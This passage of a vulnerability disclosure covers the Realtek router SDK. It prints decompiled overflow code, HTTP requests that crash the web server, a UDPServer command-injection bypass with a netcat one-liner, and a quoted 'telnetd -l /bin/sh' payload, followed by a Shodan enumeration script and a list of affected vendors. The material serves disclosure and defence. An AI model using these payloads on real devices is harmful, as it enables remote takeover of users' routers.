parameter) is insecurely copied to a stack variable using sprintf
:
void formWlanMultipleAP(void **param_1) { char *pcVar1; undefined1 *puVar5; undefined4 *__s; undefined4 uVar8; //--snip-- puVar5 = websGetVar((int)param_1,"submit-url",&DAT_004548c4); memset(__s,0,200); pcVar1 = "/goform/formWlanRedirect?redirect-url=%s&wlan_id=%d"; uVar8 = wlan_idx; sprintf((char *)__s,pcVar1, puVar5, uVar8); //--snip-- }
The HTTP request below will trigger the vulnerability:
POST /goform/formWlanMultipleAP HTTP/1.1 Host: 192.168.100.254 Content-Length: 1250 Content-Type: application/x-www-form-urlencoded Connection: close wlanIdx=0&wl_disable1=ON&wl_band1=11&wl_ssid1=TELENETHOMESPOT&TxRate1=0&wl_hide_ssid1=0&wl_access1=0&vap=1&wl_disable3=ON&wl_band3=11&wl_ssid3=TelenetWiFree&TxRate3=0&wl_hide_ssid3=0&wl_access3=0&submit-url=AAAAAAAAA...AAAA&save=Apply+Changes
Stack Buffer Overflow via formWsc’s peerPin query parameter
The formWsc
form is vulnerable to a stack overflow where a user controlled value (peerPin
parameter) is insecurely copied to a stack variable using sprintf
:
system("echo 1 > /var/wps_start_pin"); if (bVar1) { apmib_get(0x111,abStack472); sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472); system((char *)abStack736); } pcVar3 = "echo %s > /var/wps_peer_pin"; sprintf((char *)abStack736,"echo %s > /var/wps_peer_pin"); system((char *)abStack736); run_init_script("bridge"); if (local_38 == 0) { pcVar3 = "iwpriv %s set_mib pin=%s"; sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin); system((char *)abStack736); } else{ pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s"; sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin); system((char *)abStack736); }
The HTTP request below will trigger the overflow:
POST /goform/formWsc HTTP/1.1 Host: 192.168.100.254 Content-Length: 1057 Content-Type: application/x-www-form-urlencoded Connection: close submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=AAAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAA&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=
The binary will simply segfault:
# webs Invalid pin_code length! Segmentation fault
UDPServer Vulnerabilities
Summary
The following command injection issue found in UDPServer was already identified and reported in 2015 by Peter Adkins, but Mitre never assigned CVEs:
One of the more ‘interesting’ hooks exposed by these devices allow for a ‘
UDPServer
‘ process to be spawned on the device when called. When started this process listens on the devices LAN IP for data on UDP 9034.Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a
system()
call. Further investigation finds that the source for this service (UDPServer) is
available in the RealTek SDK, and appears to be a diagnostic tool.As a result of the above, this process is vulnerable to arbitrary command injection.
By looking at recent samples of the affected binary, we discovered that Realtek released an incomplete fix for this exact issue. We also identified a few buffer overflows.
Caveat
Some devices will launch UDPServer
automatically from their init
script, some execute it when a specific function in their own code is called (web server request, request to custom network daemon, …), some never execute it and UDPServer
is just left as an artifact.
For each identified firmware image with a UDPserver
binary, manual analysis is required to confirm if the service is exposed by default or if it can be launched.
Command Injection via UDPServer protocol
When looking at the proof-of-concept and the current code base, it seems that Realtek tried to fix the issues reported in 2015. In 2015 sending \`telnetd -l /bin/sh\`
as UDP payload would have triggered the command injection.
Our interpretation is that Realtek tried to fix that by using the following construct we see in the binary:
if(!memcmp(buf, "orf", 3)){ strcat(buf, " > /tmp/MP.txt"); system(buf); }
This does not fix anything given that you can send orf; <injected command>;#
and you’ll pass the check while still being able to inject commands.
6 calls to system()
are made with user controlled input. Each call follows the same structure as below:
if(!memcmp(buf, "<some_supposedly_whitelisted_value>", 3)){ strcat(buf, " > /tmp/MP.txt"); system(buf); }
Exploitation:
$ echo 'orf;ls' | nc -u 192.168.100.254 9034 orf;ls > /tmp/MP.txt ok
Static Buffer Overflow via UDPServer protocol
On top of command injection, the server is vulnerable to buffer overflows via insecure calls to sprintf
(comments added as explaination):
#define BUFLEN 1024 char buf[BUFLEN], buf_tmp[BUFLEN],pre_result[BUFLEN]; // buffer that stores message static char cmdWrap[500]; // read up to 1024 bytes from the UDP socket if ((numbytes = recvfrom(sockfd, buf, BUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) { fprintf(stderr,"Receive failed!!!\n"); close(sockfd); exit(1); } // if user controlled buffer starts with "flash get" if (!memcmp(buf, "flash get", 9)){ // unbound copy from a 1024 bytes buffer into a 500 bytes buffer sprintf(cmdWrap, "flash gethw %s", buf+10); } // if user controlled buffer starts with "flash set" if (!memcmp(buf, "flash set", 9)) { // unbound copy from a 1024 bytes buffer into a 500 bytes buffer sprintf(cmdWrap, "flash sethw %s", buf+10); }
Exploitation won’t be straightforward given that the buffer being overflown will be located in .data
section (static declaration).
3 other overflows are present :
#define BUFLEN 1024 char buf[BUFLEN], buf_tmp[BUFLEN], pre_result[BUFLEN]; // --snip-- if ( (!memcmp(buf, "flash read", 10)) ){ if ((fp = fopen("/tmp/MP.txt", "r")) == NULL) fprintf(stderr, "opening MP.txt failed !\n"); if (fp) { fgets(buf, BUFLEN, fp); buf[BUFLEN-1] = '\0'; fclose(fp); } // buf is user controlled // if buf is BUFLEN bytes long, we have a 5 bytes overflow after pre_result // thanks to the addition of the string 'data:' sprintf(pre_result, "data:%s", buf); } // --snip-- else if (!memcmp(buf, "flash get", 9)) { // 17 bytes overflow if buf contains BUFLEN bytes sprintf(pre_result, "%s > /tmp/MP.txt ok", buf); } else { // 3 bytes overflow if buf contains BUFLEN bytes sprintf(pre_result, "%s ok", buf);; }
Identifying Affected Vendors
To identify devices affected by the vulnerabilities identified in the UPnP/SSDP service, we can rely on Shodan.
After some research, our understanding is that Shodan does this:
- sends SSDP
M-SEARCH
to port UDP/1900 to every IP in the whole IPv4 range - for each device that answers with an
SSDP NOTIFY
, try to fetch the the device description over UPnP by using theSSDP NOTIFY
Location header (e.g.http://hostname:52881/simplecfg.xml
) as target - parse the device description and enrich the host data with it (model name, model number, model description)
The model name, number, and description are exposed by Shodan as the “product” facet. Knowing this, we can fetch all vendors and model names that expose an SSDP/UPnP service over the Internet that is based on the vulnerable Realtek SDK.
#!/usr/bin/env python3 import shodan import sys # Configuration API_KEY = 'REDACTED' # The list of properties we want summary information on FACETS = [ ('product', 1000) ] try: products = set() # Setup the api api = shodan.Shodan(API_KEY) # query services matching the Realtek SDK queries = [ "\"Realtek/V1.0\" port:\"1900\"", "\"Realtek/V1.1\" port:\"1900\"", "\"Realtek/V1.2\" port:\"1900\"", "\"Realtek/V1.3\" port:\"1900\"" ] for query in queries: result = api.count(query, facets=FACETS) for facet in result['facets']: for term in result['facets'][facet]: products.add(term['value']) for product in sorted(products): print(product) except Exception as e: print('Error: %s' % e) sys.exit(1)
We got 198 unique fingerprints for devices that answered over UPnP. If we estimate that each device may have sold 5k copies (on average), the total count of affected devices would be close to a million.
The list of affected devices that we were able to identify can be found in the appendix.
Realtek System Indicators
If you are assessing an embedded device, these are indicators of a system relying on Realtek’s SDK.
An easy indicator is the /etc/motd
file mentioning rlx-linux
:
RLX Linux version 2.0 _ _ _ | | | ||_| _ _ | | _ _ | | _ ____ _ _ _ _ | |/ || |\ \/ / | || | _ \| | | |\ \/ / | |_/ | |/ \ | || | | | | |_| |/ \ |_| |_|\_/\_/ |_||_|_| |_|\____|\_/\_/ For further information check: http://processor.realtek.com/
Hostname is usually set to rlx-linux
in the init
script:
hostname rlx-linux
Another is /etc/version
, which is not always present:
RTL819xD v1.0 -- Mon Nov 30 16:52:13 CST 2020 The SDK version is: Realtek SDK v3.2.3-r14377 Ethernet driver version is: 14120-14374 Wireless driver version is: 3.4.6.5 Fastpath source version is: 14363-13971 Feature support version is: 13990-12484
rlx-linux
is a stripped down Linux system from Realtek, built specifically for the RTL chipsets.
Timeline
- 2021-05-17 – Ask Realtek security team for a way to send our report securely.
- 2021-05-18 – Realtek security team provides their PGP key, we send encrypted advisories.
- 2021-05-25 – Realtek security team request Python PoC scripts.
- 2021-05-25 – We provide scripts for every reported vulnerability.
- 2021-06-10 – Realtek security team provides us the patched code, along with a patched firmware for the 96D_92D demo boards.
- 2021-06-10 – We review the patch and send our comments related to checks that could still be bypassed.
- 2021-06-11 – Realtek security team provides us with the exact list of affected versions for “Jungle” and “Luna” SDKs. The 2.x branch is no longer supported by Realtek, being 11 years old.
- 2021-06-16 – We request CVE identifiers from MITRE.
- 2021-08-05 – We receive CVE identifiers from MITRE.
- 2021-08-13 – Realtek publish its advisory.
- 2021-08-16 – End of 90 days disclosure window, releasing this post.
Appendix
List of (known) affected manufacturers
Manufacturer |
Affected Models |
---|---|
A-Link Europe Ltd |
A-Link WNAP WNAP(b) |
ARRIS Group, Inc |
VAP4402_CALA |
Airlive Corp. |
WN-250R |
Abocom System Inc. |
Wireless Router ? |
AIgital |
Wifi Range Extenders |
Amped Wireless |
AP20000G |
Askey |
AP5100W |
ASUSTek Computer Inc. |
RT-Nxx models, WL330-NUL |
BEST ONE TECHNOLOGY CO., LTD. |
AP-BNC-800 |
Beeline |
Smart Box v1 |
Belkin |
F9K1015 |
Buffalo Inc. |
WEX-1166DHP2 |
Calix Inc. |
804Mesh |
China Mobile Communication Corp. |
AN1202L |
Compal Broadband Networks, INC. |
CH66xx cable modems line. |
D-Link |
DIR-XXX models based on rlx-linux DIR-300 DAP-1155 DSL-2640U VoIP Router DVG-2102S |
DASAN Networks |
H150N |
Davolink Inc. |
DVW2700 1 |
Edge-core |
VoIP Router ECG4510-05E-R01 |
Edimax |
RE-7438 |
Edison |
unknown |
EnGenius Technologies, Inc. |
11N Wireless Router |
ELECOM Co.,LTD. |
WRC-1467GHBK |
Esson Technology Inc. |
Wifi Module ESM8196 – https://fccid.io/RKOESM8196 (therefore any device using this wifi module) |
EZ-NET Ubiquitous Corp. |
NEXT-7004N |
FIDA |
PRN3005L D5
|
Hama |
unknown |
Hawking Technologies, Inc. |
HAWNR3 |
MT-Link |
MT-WR600N |
I-O DATA DEVICE, INC. |
WN-AC1167R |
IGD |
1T1R |
LG International |
Axler Router LGI-R104N |
LINK-NET TECHNOLOGY CO., LTD. |
LW-N664R2 |
Logitec |
BR6428GNS |
MMC Technology |
MM01-005H |
MT-Link |
MT-WR730N |
NetComm Wireless |
NF15ACV |
Netis |
WF2411 |
Netgear |
N300R |
Nexxt Solutions |
AEIEL304A1 |
Observa Telecom |
RTA01 |
Occtel |
VoIP Router ODC201AC |
Omega Technology |
Wireless N Router O31 OWLR151U |
PATECH |
Axler RT-TSE |
PLANEX COMMUNICATIONS INC. |
MZK-MF300N |
PLANET Technology |
VIP-281SW |
Realtek |
RTL8196C EV-2009-02-06 |
Revogi Systems |
|
Sitecom Europe BV |
Sitecom Wireless Gigabit Router WLR-4001 |
Skystation |
CWR-GN150S |
Sercomm Corp. |
Telmex Infinitum |
Shaghal Ltd. |
ERACN300 |
Shenzhen Yichen (JCG) Technology Development Co., Ltd. |
JYR-N490 |
Skyworth Digital Technology. |
Mesh Router |
Smartlink |
unknown |
TCL Communication |
unknown |
Technicolor |
TD5137 |
Telewell |
TW-EAV510 |
Tenda |
AC6, AC10, W6, W9, i21 |
Totolink |
A300R |
TRENDnet, Inc. |
TEW-651BR |
UPVEL |
UR-315BN |
ZTE |
MF253V, MF910 |
Zyxel |
P-330W |